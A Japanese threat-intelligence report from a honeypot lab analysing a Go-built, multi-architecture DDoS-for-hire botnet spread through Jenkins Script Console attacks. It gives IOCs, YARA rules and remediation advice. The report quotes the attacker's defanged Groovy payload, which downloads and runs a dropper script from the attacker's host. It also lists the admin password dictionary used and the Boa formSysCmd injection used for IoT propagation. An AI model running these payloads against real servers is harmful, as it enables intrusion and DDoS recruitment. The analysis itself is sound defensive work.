malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

クロスプラットフォームな Go 製 DDoS 貸出ボットネット

Kinryū Labs は、11 個のバイナリ・13 アーキテクチャの投下器スイートとして配布され、複数日にわたる Jenkins Script Console 悪用キャンペーンで送り込まれた、Go でコンパイルされた DDoS ボットネットの Windows ビルド bot.exe を分析した。ステージングホストの偵察により、稼働中で認証を要する DDoS 貸出 API、Go 製の SSH コマンドチャネル、そして同居する Mirai 系統の一族が判明した。我々はこれを商用の DDoS 貸出オペレーションであると高い確度で評価する。

著者 Davis Zheng·

TLP:CLEAR。一般公開を承認済み。本検体とその投下器スイートは、複数のセンサーで観測された複数日にわたる Jenkins 悪用キャンペーンのさなか、Kinryū Labs ハニーポット・センサーネットワークで捕捉された。捕獲したバイナリは静的に分析し、実行はしていない。操作者のステージングホストは能動的な外部偵察(サービス列挙、匿名 FTP の一覧取得、露出した API への未認証プロービング)によって特徴づけたが、認証は一切迂回していない。攻撃者の指標は無害化(defang)済み。

エグゼクティブサマリー

  • 13アーキテクチャビルド、うち固有 11 バイナリ
  • 5具名の DDoS メソッド、加えて貸出 API
  • 3単一 /22 内で連携する送信元 IP
  • 2単一ホスト上の二つのボットネット一族

bot.exe は、マルチアーキテクチャ投下器スイートとして配布される、Go でコンパイルされた DDoS ボットネットの Windows x86-64 ビルドである。付随する shell スクリプト bins.sh は、13 のアーキテクチャビルド(重複除去後は 11 個が固有)を取得し、32 ビットおよび 64 ビットの x86、四つの ARM プロファイル、ARM64、Android ARM64、ビッグエンディアンとリトルエンディアンの MIPS、そして Windows バイナリを網羅する。このスイートは、露出した Jenkins サーバーの悪用を通じてハニーポットネットワークに到達した。

このマルウェアは五つの具名のフラッドメソッド(HTTP、TLS ハンドシェイク、ICMP、直接 TLS、そして VOULT と名付けられた大量流入型メソッド)、正規のトラフィックに見せかけるためブラウザの User-Agent 文字列とロケールヘッダーを巡回させる HTTP フラッド、そして自己増殖のために RealTek SDK デバイス上の Boa ウェブサーバーを狙うコマンドインジェクションのペイロードを内蔵している。185.226.93[.]242 にあるステージングホストの偵察により、ポート 3333 上で認証を要する DDoS 貸出 API、ポート 2222 上でコマンドチャネルとして機能する Go 実装の SSH サービス、そして Mirai/Gafgyt 系統の第二のボットネット一族をステージングする匿名 FTP サービスが判明した。

Kinryū Labs は、bot.exe が商用の貸出サービスとして運営される、悪意ある自己増殖型のマルチアーキテクチャ DDoS ボットネットの一部であると高い確度で評価する。この評価を支えるのは三つの所見である。バイナリ自身が持つ攻撃メソッドと悪用の文字列、ジョブパラメータを検証し認証を要求する操作者ステージングホスト上の稼働中の貸出 API、そしてスイートを送り込む持続的でマルチノードなキャンペーンのハニーポットテレメトリである。

主要な判断
  • bot.exe はクロスプラットフォームな Go 製 DDoS ボットネットである。 五つの異なるフラッドメソッドのログ文字列が標的と持続時間のパラメータを保持し、それに加えてブラウザ偽装の機構と SOCKS5 のサポートが、いずれも難読化されていない文字列として存在し、稼働中の API によって裏付けられている。
  • このオペレーションは商用の DDoS 貸出サービスとして運営される。 ステージングホストはポート 3333 上に API を露出し、ジョブパラメータ(userpswhostmethodtimeport)を検証し、不正な資格情報を拒否する。
  • このボットネットは IoT のコマンドインジェクションを通じて自己増殖する。 バイナリは Boa の formSysCmd コマンドインジェクションのペイロード、ルーターのログインを総当たりする経路、そしてエクスポートされた loginDeviceloginDeviceCaptcha の関数を保持し、ハニーポットのログに記録されたのと同じ投下器の一行を注入する。
  • 三つの送信元 IP は単一の操作者である。 185.226.92[.]0/22 内の三つのアドレスが、連携したタイミングと共有の資格情報リストで同一のペイロードを送り込み、配信 IP とステージング IP は同一の SSH ホスト鍵を提示しており、単一ホストか、複製されたイメージであることを示す。

配信:持続的な Jenkins Script Console キャンペーン

このスイートは、インターネットに露出した Jenkins インスタンスの悪用によって配信された。ハニーポットのテレメトリは一貫した二段階の手法を記録した。CSRF トークンを取得する GET /crumbIssuer/api/json、それに続いて Groovy の Script Console ペイロードを載せた POST /script である。ペイロードは試行を通じて同一で、ここでは無害化してある。

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

リクエストは admin アカウント向けに弱い数字パスワードの短い辞書(admin:1123admin:123451admin:1231231admin:1111111admin:12345123)を巡回させる Authorization: Basic ヘッダーを保持しており、これは標的を定めた認証ではなく自動化された資格情報リストの特徴である。

キャンペーンは数日にわたり、繰り返しの波として展開した。

  • 第 1 波最初のプローブ:ステージング IP と同一ブロック内の第二のアドレスからの、CSRF クラム確認に続く Groovy RCE。
  • 捕獲bins.sh と 13 の全バリアントを、およそ 14 時間隔てた二つのセンサーで回収。両者ともバイト単位で同一。
  • 後続の波三つの全送信元 IP からの、数分以内に相前後した並行悪用。User-Agent は巡回。

悪用リクエストは現実的なブラウザ User-Agent の大きな集合を巡回させたが、さらなる Jenkins 標的を探す偵察スイープ(/login の取得に続く /script リクエストの高速な連射)は既定の Go-http-client/1.1 を用いた。偽装した User-Agent は悪用ペイロードに乗り、スキャナーはボットネットのネイティブな Go クライアントを用いる。ステージングと C2 のホスト自身も悪用に加わっており、攻撃とホスティングのインフラは分離されていない。

マルウェア:一つの Go コードベース、11 のバイナリ

ボットを Go で書けば、一つのコードベースを操作者が望むあらゆる標的へクロスコンパイルできる。投下器はこの製品ラインの全体を巡り、各ビルドを wget で、フォールバックとして再び curl で取得し、実行可能にして実行し、削除する。スイートには Windows の .exe が含まれ、Linux の投下器はそれをなお chmod +x にかけるし、スクリプトの生成された構造はビルド・一覧化のパイプラインを示唆する。重複除去後、13 のビルドは 11 の固有バイナリに減る。x86 と i386 のビルドが一致し、汎用 ARM と ARMv7 のビルドも同様である。MIPS やレガシー ARM から Android までのアーキテクチャの広がりは、ルーター、カメラ、その他の組込みデバイスを狙ったボットネットであることを示す。Windows ビルドは同じコードをデスクトップとサーバーへ運ぶ。

バイナリはパックされておらず(PE セクションのエントロピーは 5.4 から 6.3 の間に収まる)、ストリップもされていない(Go ビルド ID とランタイムシンボルが無傷)ため、その機能は平文の文字列に露わになっている。コンパイルのタイムスタンプはゼロ化されているが、これは Go ビルドでは通常のことである。

五つのフラッドメソッドがバイナリのログ文字列で具名されており、それぞれ標的と持続時間を伴って整形される。「HTTP (Optimized)」フラッド、TLS/TCP の「Handshake」枯渇フラッド、ICMP の「PING」フラッド、直接的な「TLS+」セッションフラッド、そして「VOULT」メソッド(大量流入型で、おそらく UDP ベース)である。アプリケーション層とネットワーク層の両方の選択肢が存在する。

HTTP フラッドは正規のトラフィックとして通るよう作られている。Windows、macOS、iPad、Android 上の Chrome、Edge、Opera、Firefox、Safari にまたがる十を超えるブラウザ User-Agent 文字列、十五の Accept-Language ロケール、そして緩和サービスが精査する sec-fetch-*sec-ch-ua-* のフィンガープリントヘッダーを巡回させる。Referer は評判の高いサイトの小さな集合(google.comreddit.comfacebook.combing.comtwitter.comfbi.gov)から設定する。User-Agent の集合の一つはリテラル文字列 Hello World であり、これは開発者のプレースホルダーで、正規のクライアントは一切送らないため、きれいな検知シグネチャになる。

増殖は Boa ウェブサーバーを狙う。これは多くの RealTek SDK ルーターやカメラに今なお搭載されている小さな組込み HTTP デーモンだ。バイナリは Boa の formSysCmd ハンドラーを狙うコマンドインジェクションのペイロードと、ルーター管理インターフェースを狙うログイン総当たりの経路を、JSON の資格情報フィールドとエクスポートされた関数 loginDevice および loginDeviceCaptcha とともに保持する。注入されるコマンドは投下器の一行なので、侵害されたデバイスは次のデバイスへの配信地点となる。

ベンダリングされた Go モジュールはすべて標準の golang.org/x パッケージであり、サードパーティの C2 フレームワークはリンクされていない。それらには chacha20poly1305http2/hpackdns/dnsmessagehttp/httpproxy が含まれ、観測可能な機能——認証暗号化されたチャネル、HTTP/2、生の DNS、SOCKS5 プロキシ(文字列 socks5socks connectsocksUsernamePassword が存在する)——と合致する。C2 の設定は実行時に hxxp://<C2>/config.dat から取得され、バイナリに唯一ハードコードされたアドレスはステージングホストである。

コマンド&コントロールとステージングインフラ

ステージングホストの偵察により、以下のサービスが判明した。

ポートサービス用途
21/tcpvsftpd 3.0.3、匿名ログイン有効マルウェアのステージング(第二の一族、後述)
22/tcpOpenSSH 9.2p1 (Debian)操作者アクセス
1001/tcpGo net/http サーバー主要ステージング:bins.sh とバリアントを提供
2222/tcpGo SSH (SSH-2.0-Go)ボットのコマンドチャネル
3333/tcpGo net/http サーバーDDoS 貸出 API

貸出という評価を二つの所見が支える。配信 IP とステージングホストは同一の ED25519、RSA、ECDSA の SSH ホスト鍵を提示しており、同一のマシン上か、一つのテンプレートから複製されたイメージ上に置いていることを示す。加えて、ポート 2222 の Go SSH サービスはポート 22 のシステム OpenSSH とは別個の鍵を提示しており、フォワードではなく独立したアプリケーションであることを示す。ポート 3333 の API はパラメータ(userpswhostmethodtime/durationport)が欠けたリクエストを拒否し、テスト用の資格情報には認証失敗を返し、他のすべてのパスは 404 を返す。これは商用ブーターの、リクエストごとに認証する最小限のインターフェースであり、稼働中のインフラ上で動いている。

同一ホスト上の第二の一族

匿名 FTP サービスは別個のボットネット一族をステージングしており、ここではそのファイル名にちなんで「boatnet」と呼ぶ。その投下器(ohshit1.sh)は BusyBox の ftpget クライアントを用い、各バイナリを実行前に WTF へ改名し、Mirai/Gafgyt 系統の風変わりな組込み標的(ARC、m68k、SH4、SPARC)を含む十五のアーキテクチャにわたってビルドをバックグラウンドで起動する。これらのバイナリは C でコンパイルされた ELF で、ストリップされ、パックされている(エントロピー 7.6 から 7.9、UPX マジックはなく、独自のパッカーを示す)ため、静的レビューではほとんど残らない。boatnet の成果物は bot.exe スイートより古く、無関係のコードベースを走らせているので、一つのホストが二つの異なるボットネット一族をステージングしている。

ホスティング

両攻撃者 IP は 185.226.92[.]0/22 に収まり、RIPE NCC を通じてトルコを拠点とする VPS プロバイダー(ネットワーク名 BIGCORE-US、AS205196 / AS57152)に登録されており、アビューズ連絡先は [email protected] である。我々は報告目的でホスティングプロバイダーを特定するにとどめ、操作者の身元については何ら主張しない。

侵害指標

攻撃者インフラは無害化済み。検体ハッシュと検知文字列は設計上、実際の値を保持している。

ネットワーク

指標説明
185.226.93[.]242ステージング + C2 ホスト。稼働中のスキャナーでもある
185.226.92[.]110主要スキャナー / 配信ノード
185.226.92[.]173副次スキャナー
185.226.92[.]0/22ホスティング割り当て(BIGCORE、AS205196)。妥当な境界ブロック
185.226.93[.]242:1001HTTP ステージング(bins.sh + バリアント)
185.226.93[.]242:2222Go SSH コマンドチャネル
185.226.93[.]242:3333DDoS 貸出 API(/api、パラメータでゲート)
185.226.93[.]242:21匿名 FTP、boatnet のステージング
hxxp://<C2>/config.dat実行時の C2 設定取得パターン
/boafrm/formSysCmd/boafrm/formLogin外向き増殖における Boa の RCE とログイン総当たりの URI
SSH ホスト鍵 (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…配信 IP と C2 IP で共有。ピボット指標

ファイル

ファイルSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (投下器)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
投下器スイートの全ハッシュ(13 ビルド中の固有 11 個)
ビルドSHA-256サイズ(バイト)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

ホスト上の痕跡と資格情報

  • Jenkins admin 総当たり辞書:11231234511231231111111112345123
  • ohshit1.sh(boatnet 投下器)と、実行前に WTF へ改名されたバイナリ。
  • 特徴的な User-Agent:Hello World(ボットの HTTP フラッド)と Go-http-client/1.1(ボットの自己スキャン)。

挙動

  • Jenkins の GET /crumbIssuer/api/json に続く、bins.sh を取得する Groovy の ProcessBuilder('sh','-c', …) ペイロードを載せた POST /script
  • Connecting to CNC... のログ行に先行される、/config.dat 下のホストへの外向きリクエスト。
  • sysCmdselect=5wget … bins.sh の本文を伴う受信 POST /boafrm/formSysCmd

検知

文字列は安定しており難読化されていないため、シグネチャは素直に作れる。以下の YARA ルールは検証済みの文字列から構築した候補である。展開前に検証すること。

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

ネットワーク検知:

  • Jenkins:生の IP への wget/curl を伴う ProcessBuilder を含む POST /script の本文、とりわけ GET /crumbIssuer/api/json に先行されるものに対してアラートする。
  • IoT 増殖:content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";
  • インフラ:配信 IP と C2 IP を含む 185.226.92[.]0/22 をブロックし、その範囲内のポート 1001、2222、3333 への外向き接続にアラートする。

是正措置

  • Jenkins をインターネットに晒さないこと。 認証とネットワーク隔離の背後に置き、非管理者向けの Script Console を無効化し、到達可能なビルドサーバーをホスト全体の侵害リスクとして扱うこと。これが配信ベクターだった。
  • 強力な Jenkins 資格情報を強制し、認証をレート制限すること。 キャンペーンは admin 向けの弱い数字パスワードの短い辞書に依存していた。
  • RealTek/Boa ベースのルーターと IoT デバイスをセグメント化するか置き換え、 それらの管理インターフェースへの外部アクセスをブロックすること。これらはボットネットの増殖標的である。
  • ホスティング割り当て185.226.92[.]0/22を境界でブロックし、 Boa の RCE URI と config.dat の取得パターンにアラートすること。
  • エグレスをフィルタリングすること。 アーキテクチャ名のファイルを取りに生の IP のポート 1001 に到達するホスト、あるいはその範囲内のポート 2222 または 3333 に接続するホストは異常であり、ホスト検知がない場合でも捕捉できる。
  • インフラを通報すること。 DDoS 貸出 API と FTP でステージングされたマルウェアは、ホスティングプロバイダーのアビューズ連絡先([email protected])に通報できる。

MITRE ATT&CK マッピング

戦術技術
Initial AccessT1190 Exploit Public-Facing Application(Jenkins Script Console;増殖用の Boa formSysCmd
Credential AccessT1110.001 Brute Force: Password Guessing(Jenkins admin);T1110.004 Credential Stuffing(IoT ログイン)
ExecutionT1059 Command and Scripting Interpreter(Script Console 経由の Groovy;Unix shell 投下器)
DiscoveryT1046 Network Service Scanning(Jenkins/IoT 自己スキャン);T1082 System Information Discovery;T1057 Process Discovery
Defense EvasionT1036 Masquerading(ブラウザ User-Agent の巡回;boatnet の WTF 改名)
Command and ControlT1071.001 Web Protocols(config.dat);T1573 Encrypted Channel(ChaCha20-Poly1305;2222 上の Go SSH);T1571 Non-Standard Port(1001/2222/3333);T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer(マルチアーキテクチャのステージング)
ImpactT1498.001 Direct Network Flood(PING、VOULT);T1498.002 Reflection Amplification(ハンドシェイク枯渇)

手法とアナリストノート

  • 範囲:捕獲したバイナリの静的分析(実行はしていない)と、ステージングホストの能動的な外部偵察(サービスとバナーの列挙、匿名 FTP の一覧取得、ポート 3333 の API への未認証プロービング)。認証は一切迂回していない。
  • YARA ルールは検証済みの文字列から構築した候補である。展開前に検証すること。boatnet のバイナリはパックされており、文字列はわずかしか得られなかった。
  • 検体(bot.exe スイート、投下器、boatnet の成果物)は、他の研究者や防御側の求めに応じて提供可能。[email protected] まで、あなたが誰で何のために必要かを短く添えてメールを。
How to cite
Kinryū Labs (2026). クロスプラットフォームな Go 製 DDoS 貸出ボットネット. https://kinryu.sh/ja/reports/go-ddos-botnet-for-hire/